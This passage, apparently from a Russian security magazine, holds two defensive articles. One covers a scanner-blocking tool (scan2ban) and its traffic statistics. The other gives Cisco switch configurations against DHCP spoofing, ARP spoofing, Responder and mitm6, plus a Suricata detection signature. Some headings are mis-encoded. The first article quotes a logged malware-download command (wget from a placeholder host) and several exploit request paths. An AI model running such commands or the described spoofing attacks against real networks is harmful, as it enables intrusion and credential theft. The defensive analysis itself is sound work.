вознаграждение. Да и простое сканирование при помощи какого-нибудь
ZMap позволяет, не приходя в сознание, составить грубый список целей,
по которым следом летит нагрузка. Кто не спрятался — его проблемы.
Гораздо лучше, если охотники на чужое о внешних службах просто
не будут знать, по крайней мере до момента, пока напрямую не заинтересу-
ются.

ÏÎÑÒÀÍÎÂÊÀ ÇÀÄÀ×È

Работы по защите периметра от сканирования можно разбить на две части.


Первая — это формирование стоп-листа с адресами, намерения которых
вызывают вопросы (или, наоборот, никаких вопросов уже нет); вторая — рас-
пределение и применение этого списка по машинам.
Ни одна, ни другая задача не представляют сложности в плане реали-
зации, но для комплексного решения потребуется дополнительная логика
и какой-то формат, в котором будет удобно хранить и анализировать данные.
Делать такой комбайн только для себя не очень целесообразно, поэтому,
когда стало ясно, что парой скриптов и unit-файлом дело не обойдется, я
решил создать более-менее универсальный проект, пригодный для исполь-
зования всеми, кому тема интересна.
Так родился проект scan2ban, который помогает мне защищать машины
от ненужного внимания и, возможно, пригодится и тебе. Дальше я покажу,
как работают разные его модули и чего удается добиться с их применением.

Исходники проекта в моем репозитории

ÓÃÐÎÇÛ È ÍÅÉÒÐÀËÈÇÀÖÈß

Если кому-то кажется, что сканирование — это вещь простая и вариантов тут
нет, то он ошибается. За время наблюдения я выявил три разных типа.
Ñêàíåð. Тут все понятно: зарядили перебор портов, не особо скрываясь,
и сидим ждем. Сканировать могут на постоянной основе или одноразово,
но всегда с одного адреса. Это легко выявить и заблокировать. Если нам
прислали три пакета и ни один не попал в открытый порт, то добро пожало-
вать в блок. На момент написания статьи первая десятка самых активных
источников этого класса за месяц выглядела так.

Âàíøîòåðû. Это менее заметные персонажи. Их действия выглядят так:


со случайного адреса прилетает запрос на какой-то конкретный порт, и толь-
ко на него. Блокировать такое сканирование по счетчику бесполезно, в сле-
дующий раз ваншотер появится не скоро и точно так же опросит один порт.
При этом первое обращение все равно пройдет (если у тебя есть соответс-
твующая служба). Таких запросов во входящем трафике абсолютное боль-
шинство, без малого 80%. Вот как это выглядит на протяжении месяца.

A/B/C — это маркер агента, куда запрос пришел. Здесь блокировать можно
только превентивно. Этим занимается модуль greyport, который повторяет
идею серых списков для почты. По умолчанию все порты закрыты, и, чтобы
получить доступ, надо повторить запрос заданное число раз (число повторов,
задержку отсчета и контрольный интервал можно задать в настройках
модуля).
В общем случае это не доставляет неудобств, кроме замедленного пер-
вого соединения. Доступ для адреса по умолчанию открывается на сутки,
потом процедура повторится. Эффективность не стопроцентная, но, задав
число повторов равное одному, можно отбить те самые 80% проходимцев,
два отвадят 90%, три — от 95%. Но три — это уже совсем предел. Сетевой
стек на стороне клиента больше пяти запросов, как правило, не отправляет,
и отлетать начнут уже нормальные клиенты.
На качество работы greyport влияет в том числе номер порта. Выше я при-
вел параметры эффективности для портов 80 и 22, а для Elasticsearch (9200)
задержка только одного первого пакета отбивает 99 запросов из 100.
Также на примере сканеров этого класса можно оценить скорость работы
«партнеров» по производственному процессу. Из таблицы видно, что задер-
жка между пакетами варьируется от секунд (для соседних адресов) до часов,
если сегменты разные. Однако тут есть существенный элемент случайности.
Например, во время подготовки выборки я нашел пример, когда адреса
из разных (сильно разных) сетей были опрошены с разницей в две секунды,
зато соседние — с разницей в две минуты.
Третий тип сканеров самый спокойный. Эти периодически постукивают то
тут, то там. Выглядит это следующим образом.

Ïîèñêîâèêè ïî èíòåðíåòó âåùåé — это третья категория. От них зап-


росы приходят бессистемно, адреса опрашивают вразнобой. Бывает, опра-
шивают несколько раз с разных адресов. У них целые сетевые сегменты
и «одобрямс» от провайдера, так что можно размазывать запросы
по источникам и вообще никуда не спешить.
Для работы с подобными клиентами предназначен модуль lazyscan,
который проверяет, сколько событий с адреса было зарегистрировано
за довольно длительный период (по умолчанию неделя, а иногда и этого
мало). И если выясняется, что источник занимается своим делом системати-
чески, модуль так же неспешно (пока наберется статистика), но надолго
переводит его в список заблокированных.
Таких субъектов за три месяца наблюдений набралось более 5000, темпы
пополнения упали, но по 50–60 новых адресов в сутки продолжает добав-
ляться.
Владельцы «легальных» сканеров предлагают писать им письма в случае,
если их активность кому-то не нравится. Теоретически, после того как ты
докажешь, что являешься владельцем диапазона, который хочешь исключить
из опросов, они больше не потревожат. Но такие действия больше напоми-
нают замазывание кусков спутниковых карт — лучшего способа привлечь
внимание не придумать.
Да и особого смысла слать письма нет, так как на одного добропорядоч-
ного приходится пять менее отзывчивых, жаловаться на которых можно разве
что в спортлото. Поэтому оптимальной тактикой выглядит молчаливый блок,
что еще и экономит силы.

ÃÎÐØÎÊ Ñ ÍÀÐÈÑÎÂÀÍÍÛÌ ÌÅÄÎÌ

Давай глянем на уровень выше и посмотрим, чем наши любители сканиро-


вать интересуются в плане прикладных протоколов, в частности HTTP. Столь
любимые всеми веб-админки, REST и прочие чудеса — это удобство не толь-
ко для владельца сервиса, но и для обладателя тайного знания. Отправив
хитрый запрос, он пополнит ряды администраторов устройства без всяких
там ROP, heap spraying и других страшных слов. Для контроля за подобной
активностью есть модуль, разбирающий запросы к Nginx и посильно их клас-
сифицирующий.
Кроме унылых сборщиков Git-репозиториев, содержимого /files и /
actuator/health (нет, это не попытка захватить контроль над медицинским
манипулятором), на момент написания статьи самым популярным запросом
был POST /cgi-bin/ViewLog.asp, направленный на изделия компании Zyxel,
которые начали болеть, когда это еще не было мейнстримом, и продолжают
до сих пор.
Следом идет относительно свежий запрос POST /goform/
set_LimitClient_cfg и стоящая за ними орда роутеров LB-LINK, которые
весной этого года синхронно возбудились и начали искать в сети себе
подобных. Третье место — за продуктом ThinkPHP и запросами вида GET /
index.php?s=/index/\x09hink...
Всяких запросов к phpMyAdmin, GeoServer и прочим CGI — нет числа.
Отдельно стоят регулярные попытки заставить скачать файл «с сурпрызом»,
вот прям так и пишут wget [http://x.x.x.x/bins/VuVhU33С](http://x.x.
x.x/bins/UnHAnaAW.x86). Если этот файл запустить (внимание, не повторяй
этого!), он выведет что-нибудь воодушевляющее типа «Infected by Cult», грох-
нет графическую сессию, запустит процесс-другой со случайными именами
и начнет усиленно выкачивать из интернета всякое.
В самом файле видна масса строк со словами p0wned и l33t вперемешку
с идиоматическими выражениями, а антивирус при виде файла разве что
не требует расколотить диск молотком. Из чего можно сделать вывод, что
обфускацией никто не заморачивается, так как средства защиты от вре-
доносного ПО на Linux скорее исключение, чем правило. Хотя эта тенденция
явно намекает, что пора их громоздить в том числе и на роутеры, если, конеч-
но, мы не хотим в перспективе вернуться к платному трафику как единствен-
ному способу заставить владельцев следить за своими устройствами.
В общем, всё как обычно.
Изредка логи подбрасывают интересное. Например, у следующего граж-
данина что-то пошло не так, и после совершенно нейтрального запроса GET
/ (я тут типа мимокрокодил) он неожиданно засеял логи своим богатым внут-
ренним миром.

Если декодировать Base64, то появляются строчки вроде Trojan_C46F6E9


и HacKed_D4990627, что как бы намекает, чем этот персонаж занимается.
Любители вдумчивой аналитики могут попробовать расшифровать послание
из последних четырех строк: возможно, господину Бэтмену требуется
помощь.

ÐÅÀÃÈÐÓÅÌ ÍÀ ÑÎÁÛÒÈß

Текущее состояние блокировок хранится в базе данных (SQLite, но лучше


Postgres), но постоянно опрашивать БД на предмет новых записей, если
вдруг нужен список на стороне, не самая удачная идея, поэтому есть модуль
response. Он позволяет вызывать внешние сценарии, когда произошло
какое-то событие. Это полезно для собственной автоматизации, например
для моментального раскидывания блокировок. А можно подвесить чат-бота,
который будет строчить жалобы операторам сетей (а отвечать ему будет дру-
гой чат-бот, очень удобно).

Ê ÂÎÏÐÎÑÓ Î «ÏÎÏÈÍÃÓßÕ»

В былые времена определенную популярность имела тактика блокировки


ICMP как способ снизить интерес к своим машинам. Я попробовал сравнить
входящий поток на стенде, который отвечал на эхо, с запросами к машине,
которая вообще никак не выдает своего присутствия, и не нашел значитель-
ной разницы.
Значит, сейчас такие меры не работают и подойдут разве что для само-
обмана. Возможно, во времена 2400/NONE пропуск «молчаливых» машин
давал существенную экономию в скорости сбора информации, но сейчас
проблем с пропускной способностью сети нет и, запрещая эти протоколы, ты
только создаешь больше проблем себе.
Параноики, конечно, могут поволноваться, что при открытом ICMP повер-
хность атаки больше и, анализируя ответы, можно набрать чего-нибудь инте-
ресного. Однако современный хакер скорее будет рассылать малварь
по почте (в лучшем случае шифруя ее архиватором и требуя от пользователя
ввести пароль), поэтому, на мой взгляд, такие предосторожности излишни.

Продолжение статьи →
АДМИН ← НАЧАЛО СТАТЬИ

ЗАЩИЩАЕМ ПЕРИМЕТР
ОТ СКАНЕРОВ И БОТОВ

ÊÒÎ ÑÒÓ×ÈÒÑß Â ÄÂÅÐÜ ÌÎß?

Собираемая база событий позволяет побольше узнать о гостях. Для начала


привожу результаты чемпионата мира по непрошеному опросу портов
за месяц (интеграция с GeoIP позволяет генерировать метрики с привязкой
по странам).

С серьезным отрывом лидирует зона RU, но не все так просто. Почему —


покажу позже. Десятка самых опрашиваемых портов TCP выглядит вот так.

Страсти по телнету намекают на какую-то серьезную эпидемию среди роуте-


ров (?), запросы к порту 6379 — спрос на установленные «не приходя в соз-
нание» серверы Redis, а вот порты 2222, 22322 и 22222 — это что-то новень-
кое, так как, например, месяц назад они в выборке отсутствовали. Вполне
вероятно, мы имеем дело с какой-то свежей проблемой. При этом пор-
ты 23 и 6379 вызывают наибольший интерес из Китая, а странный интерес
к двоечкам — из США.
Кстати, порядка 30% субъектов имеют открытый порт, аналогичный тому,
к которому они обратились (выборка для порта 6379). А вот для порта 23
(Telnet) этот показатель падает до 15%. Рай для продажников решений
защиты: клиенты сами стучатся в двери! Если, конечно, твоих технарей
не смущают капчи вроде вот таких.

UDP всех интересует на порядок меньше, но тем не менее за месяц набира-


ется ощутимое число запросов.

Смотришь на первую тройку, и в голову приходят фразы: «Как зовут? Время


скока? Позвонить есть?» Причем две трети вопрошающих даже не интересу-
ется, как зовут, сразу переходят к «позвонить».
Может возникнуть вопрос: а какие порты самые секретные? Должна же
статистика дать нам ответ на вопрос? Не сомневайся! По моим данным,
самый секретный порт — 58699. За все время наблюдения им поинтересо-
вались пять раз. Вся десятка выглядит так.

Тут стоит отметить, что практика выноса служб на нестандартные порты, нес-
мотря на свою кажущуюся «колхозность», существенно снижает шансы вле-
теть под первую волну атак, которая сопровождает появление новой зна-
чимой уязвимости.
Даже если периметр не прикрыт блок-листами, никто в здравом уме
не будет заставлять ботов заниматься тотальным сканированием, так как это
существенно замедляет процесс, максимум — отработка по наиболее веро-
ятным портам. Поэтому какой-нибудь Citrix Netscaler имеет шансы протянуть
в своем первозданном виде немного подольше. У его владельцев хотя бы
будет шанс успеть выкачать патчи с торрентов и проверить, что в них нет тро-
янов, до того как боты перейдут к работе по данным, заботливо собранным
конторами типа Shodan.
Спустя несколько месяцев работы список блокировок составляет боль-
ше 11 000 адресов, при общей базе, а так или иначе отметившихся —
154 000. Средняя прибавка — около 1200 записей в сутки после «прогрева»,
причем заметны волны. Например, вот так выглядит график регистрации
новых адресов (пик в начале — это очевидное следствие «холодного» пуска).

А так выглядит раскладка по национальным сегментам в зависимости


от «плотности» генерируемого трафика (отношение числа запросов к числу
засветившихся источников).

Лидеры, прямо скажем, неожиданные. Впрочем, при ближайшем рассмот-


рении выясняется, что в зонах AZ, NL, EE и BG функционируют постоянные
сканеры, на фоне которых регулярная активность просто теряется. Разница
в плотности запросов между первым местом (1400 пакетов на адрес) и зоной
HK с почетного шестого места — 30 раз (45 пакетов на адрес).
Среди операторов передовой сети, в которой сидят самые любопытные
граждане, если верить Whois, в начале фигурирует GB (Великобритания),
потом DE (Германия), а в конце — AZ (Азербайджан). Будем считать, что
это британские ученые занимаются научными разработками. Там же, кстати,
указан телефон и контактное лицо в Германии, так что желающие могут поз-
вонить и уточнить детали.

ÀÍÃËÈ×ÀÍÊÀ ÑÊÀÍÈÒ

Раз уж мы выяснили, что основная часть трафика — это целенаправленный


сбор информации, почему бы не выделить активные источники. Если адреса
агрегировать по сегментам /24, то мы получим 16 519 таких источников.
Пороговое значение для отсечки непреднамеренного интереса подберем
на основе известных субъектов, в частности один из самых медленных ска-
неров, что удалось обнаружить, записан на The Shadow Server Foundation (их
адрес фигурировал в разделе про lazyscan), он генерирует не более 400 зап-
росов в месяц. Чтобы был запас, уменьшим значение до 100 (это значит, что
для попадания в отчет за месяц из сети класса C должно прийти
не менее 100 пакетов). Результат выглядит так.

Мы в тройке, но не спеши доставать ушанку и балалайку. Если детальнее пос-


мотреть список подсетей, отнесенных к зоне RU, то выяснится, что 95% тра-
фика выдают пять из них. И согласно Whois, конечный арендатор первых трех
сегментов — это организация из Великобритании, четвертого — из CY
(Кипр), а пятая — из UA (Украина). Поэтому, строго говоря, в номинации
«самый смелый сканер» мы не прошли даже отборочный тур.
Когда у нас на руках есть перечень аномальных сетей, мы можем его
вычесть из общего массива и соотнести число оставшихся адресов с раз-
мером национального сегмента. Таким образом мы получим приблизитель-
ное понимание, кто эффективнее расходует IP-пространство на поддержание
искусственной жизни в интернете.

Проще говоря, на каждые 10 000 адресов в Эфиопии приходится три, которых


тянет познакомиться с нами поближе.
А вот у этих парней всё под контролем.

В целом без неожиданностей, если не считать наличия в списке ЮАР. Причем


это не аномалия, так как число запросов, источников и размер националь-
ного сегмента сравним с соседями.
Возвращаясь к теме подбора паролей к учетным записям SSH. Модуль
отслеживания попыток аутентификации позволяет выявлять бот-сети, так
как контроллер вынужден заменять блокированные элементы новыми, пос-
тепенно раскрывая свои возможности. За два месяца ловли было зафик-
сировано более 4000 адресов, занимающихся подобной практикой. В таб-
лице ниже — десятка основных источников.

Неудачные попытки входа, скорее всего, означают, что конкретный адрес


не только раздает картинки с котятами, но и подрабатывает на сторону. Если
сгруппировать адреса из зоны RU по операторам, получится следующее.

Есть мнение, что маркетологи могут записать в свои книжечки новый способ
определения долей рынка хостинга и предоставления услуг доступа
в интернет. А то как ни почитаешь пресс-релизы, так у нас три десятка игро-
ков в отрасли и все лидеры, а тут на основе «природной активности» можно
развить целую теорию.
Вот сводная таблица по наиболее популярным пользователям,
под которыми осуществляются попытки доступа.

Больше всего удивляет интерес к учетной записи root, парольный вход


для которой давно и прочно отключен в SSH по умолчанию во всех основных
дистрибутивах. Но, судя по всему, это основополагающее требование
нарушается сплошь и рядом.

ÏÅÐÑÏÅÊÒÈÂÛ

У тебя может возникнуть логичный вопрос: как сканеры могут обойти


перечисленные мной меры и когда вся концепция превратится в тыкву?
В части обхода методик не так много. Основная концепция малоуязвима:
открытых портов мало, а закрытых много, так что шансы не в пользу ата-
кующей стороны. Чтобы загреметь в блок, достаточно ошибиться всего нес-
колько раз.
В конце концов, всегда можно взять дешевых VPS в разных сегментах
(агенты легко работают на одноядерной машине с 1 Гбайт памяти) и бло-
кировать любого, кто засветился на них хоть раз.
У концепции greyport есть очевидная слабость, так как для «продав-
ливания» блокировки достаточно увеличить число запросов, но тут на помощь
приходит известный тезис: «чтобы убежать от тигра, не нужно бегать быстрее
всех, достаточно бежать не последним».
Пока стратегия сбора информации достаточно эффективна, поводов
для ее утяжеления нет. Поэтому займутся обходом описанных мер только тог-
да, когда она перестанет работать, а этого в ближайшем будущем не случит-
ся.
АДМИН

ЗАЩИЩАЕМ СЕТИ
ОТ СПУФИНГ-АТАК

Спуфинг-атаки просты в исполнении,


но при этом несут огромный импакт. В этой
статье мы поговорим о них с точки зрения
защитников. Сложность в том, чтобы с умом
интегрировать решения сетевой безопас- Caster
Network Security Expert
ности в продакшен и при этом не сломать @wearecaster

бизнес-процессы. При такой интеграции


нужно хорошо понимать работу сети и осо-
бенности оборудования. Только тогда тебя
ждет успех.

Эта статья — ни в коем случае не инструкция для защиты любой сети, потому
что у каждой из них свои особенности и всегда потребуется какой-то тюнинг.
Я буду демонстрировать работу на оборудовании Cisco, но с железом дру-
гого вендора принципиальной разницы нет. Концепция механизмов безопас-
ности везде одинаковая, и отличия будут лишь в синтаксисе настроек
и некоторых нюансах реализации.
Немного особняком стоит только система RouterOS, на которой работает
оборудование MikroTik. Там отсутствует один из главных, на мой взгляд,
механизмов безопасности — Dynamic ARP Inspection. Вместо него произво-
дитель фактически предлагает вести только статическую ARP-таблицу, а, учи-
тывая размеры современных корпоративных сетей, это в принципе нерен-
табельно. Также в RouterOS отсутствует RA Guard, предотвращающий атаки
на сервер DHCPv6.
Еще оговорюсь, что этот материал — не всеобъемлющий мануал
по защите от спуфинга. Атак может быть бесконечно много, и мы рассмотрим
лишь основные из них.

DHCP SNOOPING

DHCP Snooping — это функция сетевой безопасности на уровне коммутации.


Она позволяет защитить сетевые сегменты от атак на DHCP-сервер. К ним
относятся следующие виды:
• DHCP Exhaustion — вызывает истощение адресного пространства
на легитимном DHCP-сервере, рассылая ложные DHCPDISCOVER-сооб-
щения от разных MAC-адресов источника. DHCP-сервер будет реаги-
ровать на сообщения и выдавать адреса. После атаки DHCP-сервер
не сможет обслужить новые хосты. Обычно эту атаку используют либо
для деструктивного воздействия, либо для атаки DHCP Spoong;
• DHCP Spoofing — создание ложного DHCP-сервера, который будет
обслуживать клиентов сети. Опасность атаки заключается в том, что ата-
кующий в информации о шлюзе по умолчанию просто установит свой
адрес и тем самым проведет MITM-атаку, так как трафик хостов будет идти
в его сторону.

Настройка Snooping — это, по сути, назначение доверенных и недоверенных


портов. На недоверенных портах будут отслеживаться все DHCP-сообщения.
Цель в том, чтобы проверить, сгенерированы ли они DHCP-сервером. Ведь
ежу понятно: если в пользовательском сегменте мы будем видеть сообщения
вроде DHCPLEASEQUERY, DHCPOFFER и DHCPACK, то это однозначно аномалия
и в пользовательской сети находится DHCP-сервер.

Работа DHCP Snooping

На доверенных же портах все DHCP-сообщения будут считаться легитим-


ными. Обычно доверенные порты настраиваются на соединениях между ком-
мутаторами и маршрутизаторами, а недоверенные конфигурируются на пор-
тах, куда подключаются конечные станции (например, компьютер, принтер,
точки доступа, VoIP).
Теперь к конфигурации. Предположим, перед нами коммутатор Cisco. Его
порт g0/2 смотрит в сторону маршрутизатора, а значит, этот порт нужно обя-
зательно сделать доверенным для DHCP Snooping, так как это промежуточ-
ное устройство, от которого могут лететь легитимные DHCP-сообщения.
Может быть, DHCP-сервер находится на самом роутере или даже за роуте-
ром (в таком случае применяют DHCP Relay). А порты f0/1-24 — это порты,
к которым подключаются конечные станции, их нужно сделать недоверен-
ными, поскольку именно от пользовательских подключений есть риск атаки
на DHCP. Заметь, DHCP Snooping включается именно на сегментах VLAN.
Еще нужно указывать адрес авторизованного DHCP-сервера, который дос-
тупен через доверенный порт коммутатора.
Все порты по умолчанию недоверенные, поэтому нам нужно явно указать,
какие порты будут доверенными. Затем глобально включить DHCP Snooping
и Snooping-процесс для сегмента VLAN.

NightmareSwitch(config)# interface g0/2


NightmareSwitch(config-if)# ip dhcp snooping trust
NightmareSwitch(config)# ip dhcp-server <IP ADDRESS>
NightmareSwitch(config)# ip dhcp snooping
NightmareSwitch(config)# ip dhcp snooping vlan <VLAN ID>

Теперь коммутатор будет насыщать таблицу DHCP Snooping, занося в нее


MAC, IP, VLAN ID клиентов, получивших адрес по DHCP.
При необходимости можно создать статическую запись в базе данных
DHCP Snooping:

NightmareSwitch(config)# ip dhcp snooping binding <MAC> vlan <VLAN


ID> <IP ADDRESS> interface <INTERFACE ID> expiry <SECONDS>

Команды для отладки и проверки состояния DHCP:

NightmareSwitch(config)# show ip dhcp snooping


NightmareSwitch(config)# show ip dhcp snooping statistics
NightmareSwitch(config)# show ip dhcp snooping binding

Для надежности необходимо записывать содержимое таблицы DHCP


Snooping в память коммутатора: вдруг свитч внезапно уйдет в перезагрузку,
а таблица DHCP Snooping потеряется. Если это будет вместе с Dynamic ARP
Inspection, то мы получим сетевой паралич.

NightmareSwitch(config)# ip dhcp snooping database flash:/snooping.db

Кстати, базу данных Snooping можно не только хранить в памяти коммутатора,


но и передать по службам FTP, HTTP, RCP, SCP, TFTP.

NightmareSwitch(config)# ip dhcp snooping database ?


flash:
ftp:
https:
rcp:
scp:
tftp:
timeout:
write-delay

DAI & IPSG


Обычно Dynamic ARP Inspection (DAI) настраивается вместе с DHCP Snooping,
так что это, по сути, продолжение предыдущей части.
DAI позволяет предотвращать ARP-спуфинг внутри сети благодаря отсле-
живанию всего ARP-трафика. И здесь есть очень важный момент. Чтобы
инспекция работала, ей нужно на чем-то основываться, и вся ее работа íàï-
ðÿìóþ çàâèñèò от DHCP Snooping. DAI на основе таблицы DHCP Snooping
будет проверять валидность ARP-ответов, то есть проверять, действительно
ли такая привязка MAC-адреса и IP-адреса есть внутри сети. Если нет, то DAI
мгновенно заблокирует такой трафик.
Однако при интеграции DAI в продакшене нужно позаботиться о том, что-
бы таблица DHCP Snooping была полностью насыщена. То есть в нее должны
попасть абсолютно все хосты внутри сети. В противном случае трафик
не попавших туда легитимных хостов будет заблокирован, что нарушит биз-
нес-процессы.

DAI обязательно настраивается после DHCP


Snooping, и необходимо время, чтобы все хосты
попали в таблицу DHCP Snooping, иначе
получишь нерабочую сеть, а DAI будет блокиро-
вать входящий трафик от всех хостов.

Настройка DAI опирается на ту же концепцию доверенных и недоверенных


портов. Как и в случае с DHCP Snooping, все порты коммутатора по умол-
чанию недоверенные. И в остальном то же самое: доверенные порты —
это порты между коммутаторами и роутерами, недоверенные — поль-
зовательские порты. На недоверенных портах стоит включить IP Source Guard
(IPSG), который будет проверять источник запросов.

NightmareSwitch(config)# int g0/2


NightmareSwitch(config-if)# ip arp inspection trust
NightmareSwitch(config)# interface range f0/1-24
NightmareSwitch(config-if-range)# ip verify source

При необходимости можно создать ARP ACL, чтобы не проверять устройства


со статическим IP. Вдруг в твоей сети есть хосты со статическим адресом.

NightmareSwitch(config-if)# arp access-list DAI


NightmareSwitch(config-arp-nacl)# permit ip host <IP> mac host <MAC>

Кстати, для IPSG можно тоже создавать статические записи внутри ком-
мутатора, но это делается без ACL.

NightmareSwitch(config)# ip source binding <MAC> vlan <VLAN ID> <IP


ADDRESS> interface <INTERFACE ID>

Проверка со стороны DAI

Закончив настройку и убедившись, что нужные статические адреса забин-


дились, а таблица DHCP Snooping полностью насыщена, включаем сам DAI.
DAI, как и DHCP Snooping, включается именно на сегментах VLAN.

NightmareSwitch(config)# ip arp inspection vlan <VLAN ID>

ÎÁÍÀÐÓÆÅÍÈÅ È ÁËÎÊÈÐÎÂÊÀ ÈÍÑÒÐÓÌÅÍÒÀ RESPONDER

Responder — это инструмент пентестеров, позволяющий перехватывать учет-


ные данные внутри сетевой инфраструктуры, в основном он применятся
в средах с Windows-машинами. Однако превентивные меры против
Responder обычно заканчиваются лишь выключением MCAST-протоколов,
таких как LLMNR, NBNS и MDNS.
В этой статье я постараюсь выжать максимум из сетевого коммутатора
и попробую защитить машины Windows от атак на эти протоколы без вык-
лючения самих протоколов. Responder еще позволяет проводить нестандар-
тные атаки на основе даунгрейда, но они уже выходят за рамки исследования,
и я рассмотрю только основные меры блокировки.
Responder состоит из двух частей:
• ñíèôôåð реагирует на передачу данных по протоколам LLMNR, NBNS,
MDNS. То есть Responder в активном режиме прослушивает трафик
и ждет, не появятся ли они;
• Poisoner отвечает на запросы разрешения имен по перечисленным про-
токолам, в результате чего Responder выдает себя за запрашиваемые
ресурсы. То есть здесь возникает сценарий MITM (человек посередине).
Атакующий перехватывает учетные данные в зашифрованном виде (нап-
ример, NetNTLMv2-SSP), а хеш получает при помощи ложного SMB-сер-
вера, также запущенного через Responder.

Àíàëèç ïðîöåññà îòðàâëåíèÿ


Для обнаружения нам нужно за что-то зацепиться. В этом случае — проана-
лизировать трафик, в котором Responder проводил отравление запросов
LLMNR, NBNS и MDNS. На скриншотах ниже 10.10.100.128 — атакующий,
10.10.100.129 — клиент на Windows.

LLMNR-отравление

NBNS-отравление

MDNS-отравление

Концепция отравления запросов с Responder

Как видишь, при отравлении Responder использует следующие порты:


• для LLMNR — UDP/5355;
• для NBNS — UDP/137;
• для MDNS — UDP/5353.

ACL
ACL (Access Control List) — это специальные механизмы фильтрации трафика,
которые часто используются в компьютерных сетях. ACL — это просто набор
условий: какой трафик будет ожидаться и какое поведение коммутатора
или маршрутизатора будет при появлении такого типа трафика. Примеры
применения ACL:
• óïðàâëåíèå òðàôèêîì. Инженер сети сам решает, какой именно тра-
фик будет идти в VPN-туннель, какой трафик будет подвергаться трансля-
ции (NAT) и так далее;
• îãðàíè÷åíèå òðàôèêà ñåòåâûõ ïðîòîêîëîâ. Инженер сети может
использовать ACL, например, для ограничения Smart Install, чтобы только
ранее доверенные подсети могли обращаться к SMI. То же самое и с про-
токолами динамической маршрутизации вроде OSPF и EIGRP. И даже
с протоколами резервирования шлюзов: HSRP, VRRP, GLBP, CARP, ESRP;
• îáåñïå÷åíèå áåçîïàñíîñòè VTY. Терминальные линии VTY исполь-
зуются для удаленного управления сетевым устройством. ACL позволяют
настроить ограничение таким образом, чтобы к VTY можно было подклю-
чаться только из доверенных подсетей.

ACL бывают двух видов:


• Standard ACL — трафик фильтруется только по IP-адресам источника
и назначения;
• Extended ACL — позволяет фильтровать трафик не только по IP-адре-
сам, но еще и по портам источника и назначения. Также есть возможность
проводить фильтрацию по типу протокола (ICMP, TFTP, GRE и так далее).

Нельзя сказать, что Standard ACL лучше, чем Extended ACL. Выбор между
ними зависит от конкретных условий. Однако настройка ACL не заканчива-
ется только их созданием. Эти ACL нужно еще и привязывать к интерфейсам.

VACL è VMAP
VACL (VLAN Access List) — это такой тип ACL, который может контролировать
трафик внутри VLAN-сегмента. То есть как раз то, что нам необходимо. Соз-
давать каждый раз ACL и привязывать его ко всем портам коммутатора
было бы слишком неудобно, к тому же может пострадать масштабируемость.
Вместо этого создаем один процесс VACL, и весь трафик внутри VLAN-сег-
мента будет под контролем.
Работа VACL у нас будет основана на двух аспектах:
• условии (сконфигурированные ACL с условиями для портов, используемых
LLMNR и NBNS);
• VACL-карте (карта фильтрации для VLAN, состоящая из правил с номера-
ми последовательностей).

Вот пример конфигурации, которая будет блокировать UDP/5355 и UDP/137,


чтобы атаки при помощи Responder были невозможны.
Сначала необходимо создать два ACL-листа:
• расширенный IPv4 ACL — для ограничения трафика Responder по IPv4;
• IPv6 ACL — для ограничения трафика Responder по IPv6. Да, Responder
может пролезть и под IPv6.

NightmareSwitch(config)# ip access-list extended ResponderIPv4


NightmareSwitch(config-ext-acl)# permit udp any eq 5355 any
NightmareSwitch(config-ext-acl)# permit udp any eq 137 any

NightmareSwitch(config)# ipv6 access-list ResponderLLMNRIPv6


NightmareSwitch(config-ext-acl)# permit udp any eq 5355 any

Я не стал блокировать UDP/5353, это трафик про-


токола MDNS. MDNS используется для коррек-
тной работы принтеров, Chromcast, устройств
macOS. Его блокировка может привести
к нарушению работы этих устройств, а мой под-
ход с VMAP достаточно агрессивный. Пожалуй,
оптимальное решение — это мониторить MDNS
на уровне IDS или попытаться выключить через
конфигурации в Windows, например через
реестр.

Я сконфигурировал условия таким образом, чтобы фильтровался именно


порт источника. С помощью конструкции permit udp any eq <port> any я
лишь создаю условие. Если прилетит трафик, который попадает под это усло-
вие, он подвергнется фильтрации (либо я разрешу трафик, либо запрещу).
Кстати говоря, NBNS не поддерживает IPv6, поэтому его порта нет в IPv6 ACL-
листе.
Затем нужно создать VACL-карту, с соответствующими seq numbers: 10
и 20.

NightmareSwitch(config)# vlan access-map BLOCKRESPONDER seq 10


NightmareSwitch(config-vlan-map)# match address ResponderIPv4
NightmareSwitch(config-vlan-map)# match ipv6 address
ResponderLLMNRIPv6
NightmareSwitch(config-vlan-map)# action drop log

NightmareSwitch(config)# vlan access-map BLOCKRESPONDER seq 20


NightmareSwitch(config-vlan-map)# action forward

Для seq 10 я создаю цепочку, при которой трафик, попадающий под ACL-
листы, будет отброшен, что отразится в логах коммутатора (action drop
log).
Для seq 20 я разрешаю работу остального трафика, чтобы не вызвать
непреднамеренный DoS (action forward).
Завершит настройку активация работы VACL. При этом нужно указать,
для какой сети VLAN будет использовать VACL.

Nightmare(config)# vlan filter BLOCKRESPONDER vlan-list <VLAN ID>

Ñèãíàòóðà äëÿ Suricata


Для Suricata я ради интереса написал вот такую сигнатуру, которая позволит
выявлять LLMNR-отравление:

alert udp any 5355 -> any any (msg:"△ LLMNR POISONING DETECTED △";
flow:stateless; content:"|80 00 00 01 00 01 00 00 00 00|"; sid:1337;
rev:1; classtype:attack-feature;)

Продолжение статьи →
АДМИН ← НАЧАЛО СТАТЬИ

ЗАЩИЩАЕМ СЕТИ
ОТ СПУФИНГ-АТАК

ÁËÎÊÈÐÎÂÊÀ ÈÍÑÒÐÓÌÅÍÒÀ MITM6

Mitm6 — один из самых популярных пентестерских инструментов. Он рас-


сылает ложные сообщения DHCPv6, после которых легитимные Windows-
машины будут считать атакующий хост DNS-сервером на уровне IPv6.
Главная проблема безопасности здесь в том, что приоритет
IPv6 в Windows гораздо выше IPv4 и при обращении Windows к доменным
именам будет использоваться адрес DNS-сервера на уровне IPv6. Сама
Windows при активном IPv6 время от времени генерирует запросы DHCPv6,
на которые будет триггериться mitm6.
Это приводит к MITM-атаке, при которой злоумышленник сможет перех-
ватить учетные данные пользователей, а также провести серии Relay-атак.
Давай посмотрим, как это будет происходить на уровне трафика. Нужно
выявить статичные данные, на основе которых и будет проводиться бло-
кировка.

DHCPv6 Advertise от атакующего с SRC UDP PORT/547

В этом сценарии fe80::20c:29ff:fea1:7346 — атакующий, а fe80::bc2c:


9f07:37b8:f7d1 — машина с Windows.

Схема эксплуатации с mitm6

Mitm6 сгенерировал сообщение DHCPv6 ADVERTISE, в рамках которого


отправляются данные о DNS-сервере, в том числе сам IPv6-адрес атакующе-
го. Это и служит главным источником эксплуатации.
Еще можно заметить, что на уровне транспорта UDP используется
порт 547, который строго зарезервирован для DHCPv6-ответов со стороны
сервера. Очевидно, если UDP-датаграмма с портом источника 547 будет
